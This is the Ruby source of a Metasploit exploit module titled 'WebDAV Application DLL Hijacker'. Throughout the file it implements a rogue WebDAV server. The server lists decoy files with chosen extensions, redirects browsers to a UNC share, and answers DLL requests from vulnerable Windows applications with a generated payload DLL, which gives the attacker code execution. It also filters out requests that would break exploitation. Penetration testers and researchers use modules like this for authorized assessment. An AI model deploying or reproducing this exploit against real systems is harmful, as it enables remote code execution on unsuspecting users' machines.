##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  #
  # This module acts as an HTTP server
  #
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'			=> 'WebDAV Application DLL Hijacker',
      'Description'	=> %q{
        This module presents a directory of file extensions that can lead to
      code execution when opened from the share. The default EXTENSIONS option
      must be configured to specify a vulnerable application type.
      },
      'Author'		=>
        [
          'hdm',   # Module itself
          'jduck', # WebDAV implementation
          'jcran', # Exploit vectors
        ],
      'License'		=> MSF_LICENSE,
      'References'	=>
        [
          ['URL', 'http://blog.zoller.lu/2010/08/cve-2010-xn-loadlibrarygetprocaddress.html'],
          ['URL', 'http://www.acrossecurity.com/aspr/ASPR-2010-08-18-1-PUB.txt'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'		=>
        {
          'Space'	=> 2048,
        },
      'Platform'		=> 'win',
      'Targets'		=>
        [
          [ 'Automatic',	{ } ]
        ],
      'DisclosureDate' => 'Aug 18 2010',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptPort.new(	'SRVPORT',		 [ true, "The daemon port to listen on (do not change)", 80 ]),
        OptString.new(	'URIPATH',		 [ true, "The URI to use (do not change).", "/" ]),
        OptString.new(	'BASENAME',		 [ true, "The base name for the listed files.", "policy" ]),
        OptString.new(	'SHARENAME',	 [ true, "The name of the top-level share.", "documents" ]),
        OptString.new(	'EXTENSIONS',	 [ true, "The list of extensions to generate", "txt" ])
      ])

    deregister_options('SSL', 'SSLVersion') # WebDAV does not support SSL
  end


  def on_request_uri(cli, request)

    case request.method
    when 'OPTIONS'
      process_options(cli, request)
    when 'PROPFIND'
      process_propfind(cli, request)
    when 'GET'
      process_get(cli, request)
    else
      print_status("#{request.method} => 404 (#{request.uri})")
      resp = create_response(404, "Not Found")
      resp.body = ""
      resp['Content-Type'] = 'text/html'
      cli.send_response(resp)
    end
  end


  def process_get(cli, request)

    myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
    webdav = "\\\\#{myhost}\\"

    if blacklisted_path?(request.uri)
      print_status("GET => 404 [BLACKLIST] (#{request.uri})")
      resp = create_response(404, "Not Found")
      resp.body = ""
      cli.send_response(resp)
      return
    end

    if (request.uri =~ /\.(dll|dl|drv|cpl)$/i)
      print_status("GET => DLL Payload")
      return if ((p = regenerate_payload(cli)) == nil)
      data = generate_payload_dll({ :code => p.encoded })
      send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
      return
    end

    # Treat index.html specially
    if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)
      print_status("GET => REDIRECT (#{request.uri})")
      resp = create_response(200, "OK")

      resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=#{@exploit_unc}#{datastore['SHARENAME']}\\"></head><body></body></html>|

      resp['Content-Type'] = 'text/html'
      cli.send_response(resp)
      return
    end

    # Anything else is probably a request for a data file...
    print_status("GET => DATA (#{request.uri})")
    data = "HELLO!"
    send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
  end

  #
  # OPTIONS requests sent by the WebDav Mini-Redirector
  #
  def process_options(cli, request)
    print_status("OPTIONS #{request.uri}")
    headers = {
      'MS-Author-Via' => 'DAV',
      'DASL'          => '<DAV:sql>',
      'DAV'           => '1, 2',
      'Allow'         => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
      'Public'        => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
      'Cache-Control' => 'private'
    }
    resp = create_response(207, "Multi-Status")
    headers.each_pair {|k,v| resp[k] = v }
    resp.body = ""
    resp['Content-Type'] = 'text/xml'
    cli.send_response(resp)
  end

  #
  # PROPFIND requests sent by the WebDav Mini-Redirector
  #
  def process_propfind(cli, request)
    path = request.uri
    print_status("PROPFIND #{path}")
    body = ''

    my_host   = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
    my_uri    = "http://#{my_host}/"

    if path !~ /\/$/

      if blacklisted_path?(path)
        print_status "PROPFIND => 404 (#{path})"
        resp = create_response(404, "Not Found")
        resp.body = ""
        cli.send_response(resp)
        return
      end

      if path.index(".")
        print_status "PROPFIND => 207 File (#{path})"
        body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
        # send the response
        resp = create_response(207, "Multi-Status")
        resp.body = body
        resp['Content-Type'] = 'text/xml; charset="utf8"'
        cli.send_response(resp)
        return
      else
        print_status "PROPFIND => 301 (#{path})"
        resp = create_response(301, "Moved")
        resp["Location"] = path + "/"
        resp['Content-Type'] = 'text/html'
        cli.send_response(resp)
        return
      end
    end

    print_status "PROPFIND => 207 Directory (#{path})"
    body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
  <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
    <D:href>#{path}</D:href>
    <D:propstat>
      <D:prop>
        <lp1:resourcetype><D:collection/></lp1:resourcetype>
        <lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
        <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
        <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
        <D:supportedlock>
          <D:lockentry>
            <D:lockscope><D:exclusive/></D:lockscope>
            <D:locktype><D:write/></D:locktype>
          </D:lockentry>
          <D:lockentry>
            <D:lockscope><D:shared/></D:lockscope>
            <D:locktype><D:write/></D:locktype>
          </D:lockentry>
        </D:supportedlock>
        <D:lockdiscovery/>
        <D:getcontenttype>httpd/unix-directory</D:getcontenttype>
      </D:prop>
    <D:status>HTTP/1.1 200 OK</D:status>
  </D:propstat>
</D:response>
|

    if request["Depth"].to_i > 0
      trail = path.split("/")
      trail.shift
      case trail.length
      when 0
        body << generate_shares(path)
      when 1
        body << generate_files(path)
      end
    else
      print_status "PROPFIND => 207 Top-Level Directory"
    end

    body << "</D:multistatus>"

    body.gsub!(/\t/, '')

    # send the response
    resp = create_response(207, "Multi-Status")
    resp.body = body
    resp['Content-Type'] = 'text/xml; charset="utf8"'
    cli.send_response(resp)
  end

  def generate_shares(path)
    share_name = datastore['SHARENAME']
%Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{share_name}/</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
  end

  def generate_files(path)
    trail = path.split("/")
    return "" if trail.length < 2

    base  = datastore['BASENAME']
    exts  = datastore['EXTENSIONS'].gsub(",", " ").split(/\s+/)
    files = ""
    exts.each do |ext|
      files << %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{base}.#{ext}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
    end

    files
  end

  def gen_timestamp(ttype=nil)
    ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
  end

  def gen_datestamp(ttype=nil)
    ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
  end

  # This method rejects requests that are known to break exploitation
  def blacklisted_path?(uri)
    return true if uri =~ /\.exe/i
    return true if uri =~ /\.(config|manifest)/i
    return true if uri =~ /desktop\.ini/i
    return true if uri =~ /lib.*\.dll/i
    return true if uri =~ /\.tmp$/i
    return true if uri =~ /(pcap|packet)\.dll/i
    false
  end

  def exploit

    myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']

    @exploit_unc  = "\\\\#{myhost}\\"

    if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
      fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
    end

    print_status("Exploit links are now available at #{@exploit_unc}#{datastore['SHARENAME']}\\")

    super
  end
end
